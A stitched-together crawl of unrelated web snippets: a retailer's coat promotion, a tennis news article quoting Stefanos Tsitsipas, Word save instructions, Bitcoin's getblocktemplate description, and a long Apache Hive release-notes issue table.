Ultra Puffers
& Parkas
Our warmest collection of coats, as seen on
some of our amazing home office associates.
From Our Door to Yours
New arrivals to give and get—because it’s
never too soon to start gifting.
A few of our favorite things for small gatherings
& special occasions on screen.
Make Your List
It’s never too soon to start gifting. This year,
all our best gifts are all in one place.
 We’re here for
meaningful impact in a longstanding way.
Shop Safely This Season
We’re happy to offer you options, whether you’re shopping in-store or online.
(Pro tip: the sooner you shop, the sooner your gifts will ship!)
FIND A STORE
LEARN MORE


In upcoming weeks I'm gonna post my projects related to my course Data Visualization (UIUC - IS 445) in here
Please have a look at the tableau dashboards I created.
View my R Pubs profile, tried my hands on a few of studies
Let's Connect, and Learn through sharing our experiences.


Stefanos Tsitsipas: I’m really close to winning a grand slam
by FSA EditorAfter winning the ATP Finals, Stefanos Tsitsipas feels grand slam success is not far away.
Stefanos Tsitsipas believes he is “really close” to winning a grand slam after his ATP Finals success on Sunday.
The Greek, 21, became the youngest player to win the ATP Finals since 2001 after a thrilling 6-7 (6-8) 6-2 7-6 (7-4) victory over Dominic Thiem in London.
Tsitsipas, a semi-finalist at the Australian Open this year, feels a major success is not far away, with Wimbledon a goal.
“For sure Wimbledon is the tournament that has a lot of tradition. I think most of the players if you ask would want to win Wimbledon, but for me any grand slam would be great,” he told a news conference.
“I feel like my game is getting better over time. I believe I’m really close on being crowned a grand slam champion. I know these are strong words that I say but I do feel like I belong to be there.
“I’m competing against some of the best players in the world and the amount of effort and the amount of work I put [in] every day deserves to have an outcome like this.”
While Tsitsipas and Thiem reached the final in London, Rafael Nadal and Novak Djokovic won two grand slams each in 2019.
The ‘Big Three’ of Nadal, Djokovic and Roger Federer have won 55 grand slams since 2003, including the past 12, and Tsitsipas is aware of the huge challenge awaiting the next generation.
“The thing that we have, the ‘Big Three’ dominating in the grand slams the last couple of years makes it really difficult for us because someone needs to get the job done to defeat them [in the] early rounds because once they get deep into a tournament they tend, as we saw, over the years to get better and play better, feel better,” he said.
“For me, that’s a really difficult task to do, for players to be able to beat them in these grand slams because it’s a best-of-five format and this gives them more chances to stay in the match.
“It’s not a best of three. If things were best of three it could have been much more different when it comes to grand slam champions over the years.
“So, that’s an issue because they have been sharing how many grand slams? I don’t know, 60 something?
“And for the young guys, it’s all about time. I don’t know. We’ll either have to beat them or wait for them.”


After creating a document, you can save it on your computer. Use the Save As command when you save a document for the first time or if you want to save a copy of adocument in adifferent location, with a different file name, or in a different file format. Use the Save command to save changes to an existing document.
To save a document for the first time:
1. Click the File tab, and then click Save As. The Save As page of the Backstage view opens.
2. Click Computer in the center pane, and then click the Browse button or a recent folder in the right pane.
3. In the Save As dialog box, select a location to save the file, type a name in the File name box, and then click the Save button.
To save changes to a document:
1. Do one of the following:
* Click the File tab, and then click Save.
* On the Quick Access toolbar, click the Save button.
* Press Ctrl+S.


Presentation Materials for IndyFP
Brian Howard, DePauw University
Purely Functional Data Structures (November 2018)
:
Slides
,
Code
Derivative Works in Computer Science (July 2019)
:
Slides
,
Code
,
References


getblocktemplate
getblocktemplate [params]
Returns data needed to construct a block to work on:
"version" : block version
"previousblockhash" : hash of current highest block
"transactions" : contents of non-coinbase transactions that should be included in the next block
"coinbaseaux" : data that should be included in coinbase
"coinbasevalue" : maximum allowable input to coinbase transaction, including the generation award and transaction fees
"target" : hash target
"mintime" : minimum timestamp appropriate for next block
"curtime" : current timestamp
"mutable" : list of ways the block template may be changed
"noncerange" : range of valid nonces
"sigoplimit" : limit of sigops in blocks
"sizelimit" : limit of block size
"bits" : compressed target of next block
"height" : height of the next block
See https://en.bitcoin.it/wiki/BIP_0022 for full specification.


Survey Form
Who are you?


| HIVE-9484 |
ThriftCLIService#getDelegationToken does case sensitive comparison |
Minor |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9474 |
truncate table changes permissions on the target |
Minor |
Query Processor |
Aihua Xu |
Aihua Xu |
| HIVE-9489 |
add javadoc for UDFType annotation |
Major |
Documentation, UDF |
Thejas M Nair |
Thejas M Nair |
| HIVE-9482 |
Hive parquet timestamp compatibility |
Major |
File Formats |
Szehon Ho |
Szehon Ho |
| HIVE-9526 |
ClassCastException thrown by HiveStatement |
Major |
. |
Ashish K Singh |
Ashish K Singh |
| HIVE-9512 |
HIVE-9327 causing regression in stats annotation |
Major |
. |
Prasanth Jayachandran |
Jesus Camacho Rodriguez |
| HIVE-9539 |
Wrong check of version format in TestWebHCatE2e.getHiveVersion() |
Minor |
HCatalog |
Damien Carol |
Damien Carol |
| HIVE-9303 |
Parquet files are written with incorrect definition levels |
Major |
. |
Skye Wanderman-Milne |
Sergio Peña |
| HIVE-9529 |
"alter table .. concatenate" under Tez mode should create TezTask |
Major |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-9151 |
Checking s against null in TezJobMonitor#getNameWithProgress() should be done earlier |
Minor |
. |
Ted Yu |
Prasanth Jayachandran |
| HIVE-9471 |
Bad seek in uncompressed ORC, at row-group boundary. |
Major |
File Formats, Serializers/Deserializers |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9553 |
Fix log-line in Partition Pruner |
Trivial |
Logging |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9397 |
SELECT max(bar) FROM foo is broken after ANALYZE ... FOR COLUMNS |
Major |
Beeline, Logical Optimizer |
Damien Carol |
Navis |
| HIVE-9430 |
NullPointerException on ALTER TABLE ADD PARTITION if no value given |
Major |
Query Processor |
Danny Lade |
Sergio Peña |
| HIVE-6099 |
Multi insert does not work properly with distinct count |
Major |
Query Processor |
Pavan Gadam Manohar |
Ashutosh Chauhan |
| HIVE-9567 |
JSON SerDe not escaping special chars when writing char/varchar data |
Major |
Serializers/Deserializers |
Jason Dere |
Jason Dere |
| HIVE-9496 |
Slf4j warning in hive command |
Minor |
CLI |
Philippe Kernevez |
Alexander Pivovarov |
| HIVE-9438 |
The standalone-jdbc jar missing some jars |
Blocker |
. |
Ashish K Singh |
Brock Noland |
| HIVE-9560 |
When hive.stats.collect.rawdatasize=true, 'rawDataSize' for an ORC table will result in value '0' after running 'analyze table TABLE_NAME compute statistics;' |
Major |
. |
Xin Hao |
Prasanth Jayachandran |
| HIVE-9002 |
union all does not generate correct result for order by and limit |
Major |
. |
Pengcheng Xiong |
Pengcheng Xiong |
| HIVE-9587 |
UDF decode should accept STRING_GROUP types for the second parameter |
Major |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9592 |
fix ArrayIndexOutOfBoundsException in date_add and date_sub initialize |
Major |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9507 |
Make "LATERAL VIEW inline(expression) mytable" tolerant to nulls |
Minor |
Query Processor, UDF |
Moustafa Aboul Atta |
Navis |
| HIVE-9612 |
Turn off DEBUG logging for Lazy Objects for tests |
Major |
. |
Brock Noland |
Sergio Peña |
| HIVE-9652 |
Tez in place updates should detect redirection of STDERR |
Major |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-9648 |
Null check key provider before doing set |
Major |
Encryption |
Brock Noland |
Brock Noland |
| HIVE-9622 |
Getting NPE when trying to restart HS2 when metastore is configured to use org.apache.hadoop.hive.thrift.DBTokenStore |
Major |
. |
Aihua Xu |
Aihua Xu |
| HIVE-9023 |
HiveHistoryImpl relies on removed counters to print num rows |
Minor |
Query Processor |
Slava Markeyev |
Naveen Gangam |
| HIVE-9468 |
Test groupby3_map_skew.q fails due to decimal precision difference |
Major |
Tests |
Xuefu Zhang |
Xuefu Zhang |
| HIVE-9665 |
Parallel move task optimization causes race condition |
Critical |
. |
Gunther Hagleitner |
Gunther Hagleitner |
| HIVE-9667 |
Disable ORC bloom filters for ORC v11 output-format |
Minor |
File Formats |
Gopal V |
Gopal V |
| HIVE-9481 |
allow column list specification in INSERT statement |
Major |
Parser, Query Processor, SQL |
Eugene Koifman |
Eugene Koifman |
| HIVE-6069 |
Improve error message in GenericUDFRound |
Trivial |
UDF |
Xuefu Zhang |
Alexander Pivovarov |
| HIVE-9513 |
NULL POINTER EXCEPTION |
Major |
Query Planning |
ErwanMAS |
Navis |
| HIVE-9619 |
Uninitialized read of numBitVectors in NumDistinctValueEstimator |
Minor |
Statistics |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9350 |
Add ability for HiveAuthorizer implementations to filter out results of 'show tables', 'show databases' |
Major |
Authorization |
Thejas M Nair |
Thejas M Nair |
| HIVE-9706 |
HBase handler support for snapshots should confirm properties before use |
Major |
HBase Handler |
Sean Busbey |
Sean Busbey |
| HIVE-9617 |
UDF from_utc_timestamp throws NPE if the second argument is null |
Minor |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9613 |
Left join query plan outputs wrong column when using subquery |
Major |
Parser, Query Planning |
Li Xin |
Gunther Hagleitner |
| HIVE-9565 |
Minor cleanup in TestMetastoreExpr. |
Minor |
Tests |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9735 |
aggregate ( smalllint ) fails when ORC file used ava.lang.ClassCastException: java.lang.Long cannot be cast to java.lang.Short |
Major |
SQL |
N Campbell |
|
| HIVE-9322 |
Make null-checks consistent for MapObjectInspector subclasses. |
Minor |
Serializers/Deserializers |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9628 |
HiveMetaStoreClient.dropPartitions(...List<ObjectPair<Integer,byte[]>>...) doesn't take (boolean needResult) |
Major |
API, Metastore |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9680 |
GlobalLimitOptimizer is not checking filters correctly |
Trivial |
Query Planning |
Navis |
Navis |
| HIVE-9749 |
ObjectStore schema verification logic is incorrect |
Major |
Metastore |
Brock Noland |
Brock Noland |
| HIVE-9655 |
Dynamic partition table insertion error |
Major |
Logical Optimizer |
Chao Sun |
Chao Sun |
| HIVE-9734 |
Correlating expression cannot contain unqualified column references |
Minor |
SQL |
N Campbell |
Navis |
| HIVE-9716 |
Map job fails when table's LOCATION does not have scheme |
Minor |
Query Processor |
Yongzhi Chen |
Yongzhi Chen |
| HIVE-9731 |
WebHCat MapReduce Streaming Job does not allow StreamXmlRecordReader to be specified |
Major |
WebHCat |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-9509 |
Restore partition spec validation removed by HIVE-9445 |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-9772 |
Hive parquet timestamp conversion doesn't work with new Parquet |
Major |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9755 |
Hive built-in "ngram" UDAF fails when a mapper has no matches. |
Critical |
UDF |
Naveen Gangam |
Naveen Gangam |
| HIVE-9770 |
Beeline ignores --showHeader for non-tablular output formats i.e csv,tsv,dsv |
Critical |
Beeline |
Naveen Gangam |
Naveen Gangam |
| HIVE-9754 |
rename GenericUDFLevenstein to GenericUDFLevenshtein |
Trivial |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9803 |
SparkClientImpl should not attempt impersonation in CLI mode [Spark Branch] |
Major |
Hive |
Brock Noland |
Brock Noland |
| HIVE-9083 |
New metastore API to support to purge partition-data directly in dropPartitions(). |
Major |
Metastore |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9118 |
Support auto-purge for tables, when dropping tables/partitions. |
Major |
Metastore |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9797 |
Need update some spark tests for java 8 |
Major |
. |
Sergio Peña |
Sergio Peña |
| HIVE-9779 |
ATSHook does not log the end user if doAs=false (it logs the hs2 server user) |
Major |
HiveServer2 |
Abdelrahman Shettia |
Abdelrahman Shettia |
| HIVE-9830 |
Map join could dump a small table multiple times [Spark Branch] |
Major |
spark-branch |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9834 |
VectorGroupByOperator logs too much |
Trivial |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-9831 |
HiveServer2 should use ConcurrentHashMap in ThreadFactory |
Major |
HiveServer2 |
Vaibhav Gumashta |
Vaibhav Gumashta |
| HIVE-9847 |
Hive should not allow additional attemps when RSC fails [Spark Branch] |
Trivial |
Spark |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9086 |
Add language support to PURGE data while dropping partitions. |
Major |
Metastore |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9826 |
Firing insert event fails on temporary table |
Minor |
. |
Alan Gates |
Alan Gates |
| HIVE-9817 |
fix DateFormat pattern in hive-exec |
Minor |
. |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9855 |
Runtime skew join doesn't work when skewed data only exists in big table |
Major |
. |
Rui Li |
Rui Li |
| HIVE-9841 |
IOException thrown by ORC should include the path of processing file |
Major |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-9848 |
readlink -f is GNU coreutils only (used in bin/hive) |
Trivial |
Clients |
Gopal V |
Gopal V |
| HIVE-9869 |
Trunk doesn't build with hadoop-1 |
Major |
. |
Rui Li |
Rui Li |
| HIVE-9872 |
Making yarn-cluster default for Hive on Spark [Spark Branch] |
Major |
Spark |
Chao Sun |
Chao Sun |
| HIVE-9860 |
MapredLocalTask/SecureCmdDoAs leaks local files |
Major |
. |
Brock Noland |
Brock Noland |
| HIVE-9873 |
Hive on MR throws DeprecatedParquetHiveInput exception |
Major |
Hive |
Sergio Peña |
Sergio Peña |
| HIVE-9620 |
Cannot retrieve column statistics using HMS API if column name contains uppercase characters |
Major |
Metastore, Statistics |
Juan Yu |
Chaoyu Tang |
| HIVE-8626 |
Extend HDFS super-user checks to dropPartitions |
Major |
Metastore |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9588 |
Reimplement HCatClientHMSImpl.dropPartitions() with HMSC.dropPartitions() |
Major |
HCatalog, Metastore, Thrift API |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9851 |
org.apache.hadoop.hive.serde2.avro.AvroSerializer should use org.apache.avro.generic.GenericData.Array when serializing a list |
Major |
Hive, Serializers/Deserializers |
Ratandeep Ratti |
Ratandeep Ratti |
| HIVE-9892 |
various MSSQL upgrade scripts don't work |
Major |
Metastore |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-9902 |
Map join small table files need more replications [Spark Branch] |
Major |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9918 |
Spark branch build is failing due to unknown url [Spark Branch] |
Blocker |
Spark, spark-branch |
Sergio Peña |
Sergio Peña |
| HIVE-9721 |
Hadoop23Shims.setFullFileStatus should check for null |
Major |
. |
Brock Noland |
Sergio Peña |
| HIVE-9935 |
Fix tests for java 1.8 [Spark Branch] |
Major |
spark-branch |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9877 |
Beeline cannot run multiple statements in the same row |
Major |
Beeline |
Zoltan Fedor |
Chaoyu Tang |
| HIVE-9813 |
Hive JDBC - DatabaseMetaData.getColumns method cannot find classes added with "add jar" command |
Major |
Metastore |
Yongzhi Chen |
Yongzhi Chen |
| HIVE-9939 |
Code cleanup for redundant if check in ExplainTask [Spark Branch] |
Major |
Spark |
Chinna Rao Lalam |
Chinna Rao Lalam |
| HIVE-9929 |
StatsUtil#getAvailableMemory could return negative value |
Major |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9720 |
Metastore does not properly migrate column stats when renaming a table across databases. |
Major |
Metastore |
Alexander Behm |
Chaoyu Tang |
| HIVE-9920 |
DROP DATABASE IF EXISTS throws exception if database does not exist |
Minor |
Logging, Metastore |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-9866 |
Changing a column's type doesn't change column stats type in metastore |
Major |
. |
Henry Robinson |
Chaoyu Tang |
| HIVE-9930 |
fix QueryPlan.makeQueryId time format |
Minor |
Query Planning |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9944 |
Convert array[] to string properly in log messages |
Minor |
Logical Optimizer |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9957 |
Hive 1.1.0 not compatible with Hadoop 2.4.0 |
Major |
Encryption |
Vivek Shrivastava |
Sergio Peña |
| HIVE-9961 |
HookContext for view should return a table type of VIRTUAL_VIEW |
Major |
. |
Szehon Ho |
Szehon Ho |
| HIVE-9948 |
SparkUtilities.getFileName passes File.separator to String.split() method |
Minor |
Spark |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9936 |
fix potential NPE in DefaultUDAFEvaluatorResolver |
Major |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9953 |
fix NPE in WindowingTableFunction |
Trivial |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9954 |
UDFJson uses the == operator to compare Strings |
Minor |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9947 |
ScriptOperator replaceAll uses unescaped dot and result is not assigned |
Minor |
. |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9945 |
FunctionTask.conf hides Task.conf field |
Minor |
. |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9993 |
Retrying task could use cached bad operators [Spark Branch] |
Major |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9934 |
Vulnerability in LdapAuthenticationProviderImpl enables HiveServer2 client to degrade the authentication mechanism to "none", allowing authentication without password |
Major |
Security |
Chao Sun |
Chao Sun |
| HIVE-9955 |
TestVectorizedRowBatchCtx compares byte[] using equals() method |
Minor |
Vectorization |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9971 |
Clean up operator class |
Major |
. |
Gunther Hagleitner |
Gunther Hagleitner |
| HIVE-9991 |
Cannot do a SELECT on external tables that are on S3 due to Encryption error |
Major |
. |
Sergio Peña |
Sergio Peña |
| HIVE-9952 |
fix NPE in CorrelationUtilities |
Minor |
Logical Optimizer |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9951 |
VectorizedRCFileRecordReader creates Exception but does not throw it |
Minor |
File Formats, Vectorization |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9984 |
JoinReorder's getOutputSize is exponential |
Major |
. |
Gunther Hagleitner |
Gopal V |
| HIVE-10009 |
LazyObjectInspectorFactory is not thread safe [Spark Branch] |
Major |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-10017 |
SparkTask log improvement [Spark Branch] |
Minor |
Spark |
Chinna Rao Lalam |
Chinna Rao Lalam |
| HIVE-9994 |
Hive query plan returns sensitive data to external applications |
Major |
. |
Sergio Peña |
Sergio Peña |
| HIVE-9997 |
minor tweaks for bytes mapjoin hash table |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-9919 |
upgrade scripts don't work on some auto-created DBs due to absence of tables |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-9932 |
DDLTask.conf hides base class Task.conf |
Minor |
Query Processor |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9886 |
Hive on tez: NPE when converting join to SMB in sub-query |
Critical |
Tez |
Vikram Dixit K |
Vikram Dixit K |
| HIVE-9975 |
Renaming a nonexisting partition should not throw out NullPointerException |
Minor |
. |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-10023 |
Fix more cache related concurrency issue [Spark Branch] |
Major |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-9956 |
use BigDecimal.valueOf instead of new in TestFileDump |
Minor |
File Formats |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9555 |
assorted ORC refactorings for LLAP on trunk |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-9977 |
Compactor not running on partitions after dynamic partitioned insert |
Major |
Transactions |
Alan Gates |
Alan Gates |
| HIVE-8746 |
ORC timestamp columns are sensitive to daylight savings time |
Major |
. |
Owen O'Malley |
Prasanth Jayachandran |
| HIVE-9950 |
fix rehash in CuckooSetBytes and CuckooSetLong |
Minor |
Vectorization |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-9915 |
Allow specifying file format for managed tables |
Major |
File Formats |
Gunther Hagleitner |
Gunther Hagleitner |
| HIVE-9976 |
Possible race condition in DynamicPartitionPruner for <200ms tasks |
Major |
Tez |
Gopal V |
Siddharth Seth |
| HIVE-9839 |
HiveServer2 leaks OperationHandle on async queries which fail at compile phase |
Critical |
HiveServer2 |
Nemon Lou |
Nemon Lou |
| HIVE-9767 |
Fixes in Hive UDF to be usable in Pig |
Major |
UDF |
Daniel Dai |
Daniel Dai |
| HIVE-10078 |
Optionally allow logging of records processed in fixed intervals |
Major |
. |
Gunther Hagleitner |
Gunther Hagleitner |
| HIVE-9727 |
GroupingID translation from Calcite |
Major |
Query Planning |
Jesus Camacho Rodriguez |
Jesus Camacho Rodriguez |
| HIVE-10085 |
Lateral view on top of a view throws RuntimeException |
Major |
Logical Optimizer, Query Planning |
Aihua Xu |
Aihua Xu |
| HIVE-10073 |
Runtime exception when querying HBase with Spark [Spark Branch] |
Major |
Spark |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-10087 |
Beeline's --silent option should suppress query from being echoed when running with -f option |
Minor |
Beeline |
Naveen Gangam |
Naveen Gangam |
| HIVE-10093 |
Unnecessary HMSHandler initialization for default MemoryTokenStore on HS2 |
Minor |
. |
Szehon Ho |
Aihua Xu |
| HIVE-10086 |
Hive throws error when accessing Parquet file schema using field name match |
Major |
. |
Sergio Peña |
Sergio Peña |
| HIVE-10050 |
Support overriding memory configuration for AM launched for TempletonControllerJob |
Major |
WebHCat |
Hitesh Shah |
Hitesh Shah |
| HIVE-10066 |
Hive on Tez job submission through WebHCat doesn't ship Tez artifacts |
Major |
Tez, WebHCat |
Eugene Koifman |
Eugene Koifman |
| HIVE-10143 |
HS2 fails to clean up Spark client state on timeout [Spark Branch] |
Major |
Spark |
Marcelo Vanzin |
Marcelo Vanzin |
| HIVE-10095 |
format_number udf throws NPE |
Major |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-10059 |
Make udaf_percentile_approx_23.q test more stable |
Major |
Tests |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-10167 |
HS2 logs the server started only before the server is shut down |
Trivial |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-10083 |
SMBJoin fails in case one table is uninitialized |
Minor |
Logical Optimizer |
Alain Blankenburg-Schröder |
Na Yang |
| HIVE-10123 |
Hybrid grace Hash join : Use estimate key count from stats to initialize BytesBytesMultiHashMap |
Major |
Hive |
Mostafa Mokhtar |
Mostafa Mokhtar |
| HIVE-10136 |
BaseWork.vectorMode hides AbstractOperatorDesc.vectorMode |
Minor |
Query Planning |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-10106 |
Regression : Dynamic partition pruning not working after HIVE-9976 |
Major |
Hive |
Mostafa Mokhtar |
Siddharth Seth |
| HIVE-10150 |
delete from acidTbl where a in(select a from nonAcidOrcTbl) fails |
Major |
Query Planning, Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-10001 |
SMB join in reduce side |
Major |
. |
Vikram Dixit K |
Vikram Dixit K |
| HIVE-9623 |
NullPointerException in MapJoinOperator.processOp(MapJoinOperator.java:253) for TPC-DS Q75 against un-partitioned schema |
Major |
Query Processor |
Mostafa Mokhtar |
Gunther Hagleitner |
| HIVE-10108 |
Index#getIndexTableName() returns db.index_table_name |
Major |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-10208 |
templeton.hive.extra.files should be commented out in webhcat-default.xml |
Major |
WebHCat |
Eugene Koifman |
Eugene Koifman |
| HIVE-10128 |
BytesBytesMultiHashMap does not allow concurrent read-only access |
Major |
. |
Gopal V |
Sergey Shelukhin |
| HIVE-10145 |
set Tez ACLs appropriately in hive |
Major |
. |
Thejas M Nair |
Thejas M Nair |
| HIVE-10042 |
clean up TreeReaders - ORC refactoring for LLAP on trunk |
Major |
. |
Sergey Shelukhin |
Prasanth Jayachandran |
| HIVE-10172 |
Fix performance regression caused by HIVE-8122 for ORC |
Major |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-10163 |
CommonMergeJoinOperator calls WritableComparator.get() in the inner loop |
Major |
Query Processor |
Gopal V |
Gunther Hagleitner |
| HIVE-10186 |
Hive does not log Tez diagnostics on errors |
Major |
. |
Hitesh Shah |
Gunther Hagleitner |
| HIVE-7049 |
Unable to deserialize AVRO data when file schema and record schema are different and nullable |
Major |
. |
Mohammad Kamrul Islam |
Daniel Dai |
| HIVE-9836 |
Hive on tez: fails when virtual columns are present in the join conditions (for e.g. partition columns) |
Major |
Tez |
Vikram Dixit K |
Vikram Dixit K |
| HIVE-9832 |
Merge join followed by union and a map join in hive on tez fails. |
Critical |
Tez |
Vikram Dixit K |
Vikram Dixit K |
| HIVE-10229 |
Set conf and processor context in the constructor instead of init |
Major |
. |
Sergey Shelukhin |
Siddharth Seth |
| HIVE-10178 |
DateWritable incorrectly calculates daysSinceEpoch for negative Unix time |
Major |
Types |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-10098 |
HS2 local task for map join fails in KMS encrypted cluster |
Major |
Security |
Yongzhi Chen |
Yongzhi Chen |
| HIVE-9073 |
NPE when using custom windowing UDAFs |
Major |
UDF |
Jason Dere |
Jason Dere |
| HIVE-10225 |
CLI JLine does not flush history on quit/Ctrl-C |
Major |
. |
Thejas M Nair |
Thejas M Nair |
| HIVE-10231 |
Compute partition column stats fails if partition col type is date |
Major |
Statistics |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-9472 |
Implement 7 simple UDFs added to Hive |
Major |
UDF |
Xiaobing Zhou |
Xiaobing Zhou |
| HIVE-9633 |
Add HCatClient.dropPartitions() overload to skip deletion of partition-directories. |
Major |
API, HCatalog, Metastore |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9679 |
Remove redundant null-checks from DbNotificationListener. |
Minor |
. |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-9609 |
AddPartitionMessage.getPartitions() can return null |
Major |
. |
Sushanth Sowmyan |
Sushanth Sowmyan |
| HIVE-10209 |
FetchTask with VC may fail because ExecMapper.done is true |
Major |
Query Processor |
Chao Sun |
Chao Sun |
| HIVE-9647 |
Discrepancy in cardinality estimates between partitioned and un-partitioned tables |
Major |
Statistics |
Mostafa Mokhtar |
Pengcheng Xiong |
| HIVE-10267 |
HIVE-9664 makes hive depend on ivysettings.xml : trivial breakage fix |
Major |
. |
Sushanth Sowmyan |
Sushanth Sowmyan |
| HIVE-10074 |
Ability to run HCat Client Unit tests in a system test setting |
Major |
Tests |
Deepesh Khandelwal |
Deepesh Khandelwal |
| HIVE-10032 |
Remove HCatalog broken java file from source code |
Minor |
. |
Ferdinand Xu |
Ferdinand Xu |
| HIVE-7351 |
ANALYZE TABLE statement fails on postgres metastore |
Minor |
Metastore |
Damien Carol |
Navis |
| HIVE-10202 |
Beeline outputs prompt+query on standard output when used in non-interactive mode |
Major |
. |
Sergio Peña |
Naveen Gangam |
| HIVE-10265 |
Hive CLI crashes on != inequality |
Major |
CLI |
Szehon Ho |
Szehon Ho |
| HIVE-10271 |
remove hive.server2.thrift.http.min/max.worker.threads properties |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10215 |
Large IN() clauses: deep hashCode performance during optimizer pass |
Minor |
Logical Optimizer |
Gopal V |
Gopal V |
| HIVE-10148 |
update of bucketing column should not be allowed |
Major |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-10152 |
ErrorMsg.formatToErrorMsgMap has bad regex |
Major |
Logging |
Eugene Koifman |
Eugene Koifman |
| HIVE-10285 |
Incorrect endFunction call in HiveMetaStore |
Minor |
Logging, Metastore |
Nezih Yigitbasi |
Nezih Yigitbasi |
| HIVE-10309 |
TestJdbcWithMiniHS2.java broken because of the removal of hive.server2.thrift.http.max.worker.threads |
Major |
HiveServer2, JDBC |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10272 |
Some HCat tests fail under windows |
Minor |
. |
Sushanth Sowmyan |
Sushanth Sowmyan |
| HIVE-10305 |
TestOrcFile has a mistake that makes metadata test ineffective |
Major |
. |
Owen O'Malley |
Owen O'Malley |
| HIVE-10122 |
Hive metastore filter-by-expression is broken for non-partition expressions |
Major |
Metastore |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-10274 |
Send context and description to tez via dag info |
Major |
. |
Gunther Hagleitner |
Gunther Hagleitner |
| HIVE-6950 |
Parsing Error in GROUPING SETS |
Major |
. |
Rohit Agarwal |
Pengcheng Xiong |
| HIVE-10226 |
Column stats for Date columns not supported |
Major |
Statistics |
Jason Dere |
Jason Dere |
| HIVE-10318 |
The HMS upgrade test does not test patches that affect the upgrade test scripts |
Major |
Testing Infrastructure |
Sergio Peña |
Sergio Peña |
| HIVE-10269 |
HiveMetaStore.java:[6089,29] cannot find symbol class JvmPauseMonitor |
Major |
Metastore |
Gabor Liptak |
Ferdinand Xu |
| HIVE-10273 |
Union with partition tables which have no data fails with NPE |
Major |
Tez |
Vikram Dixit K |
Vikram Dixit K |
| HIVE-10290 |
Add negative test case to modify a non-existent config value when hive security authorization is enabled. |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-9645 |
Constant folding case NULL equality |
Major |
Logical Optimizer |
Gopal V |
Ashutosh Chauhan |
| HIVE-10340 |
Enable ORC test for timezone reading from old format |
Trivial |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-10288 |
Cannot call permanent UDFs |
Major |
. |
Nezih Yigitbasi |
Chinna Rao Lalam |
| HIVE-10242 |
ACID: insert overwrite prevents create table command |
Major |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-10346 |
Tez on HBase has problems with settings again |
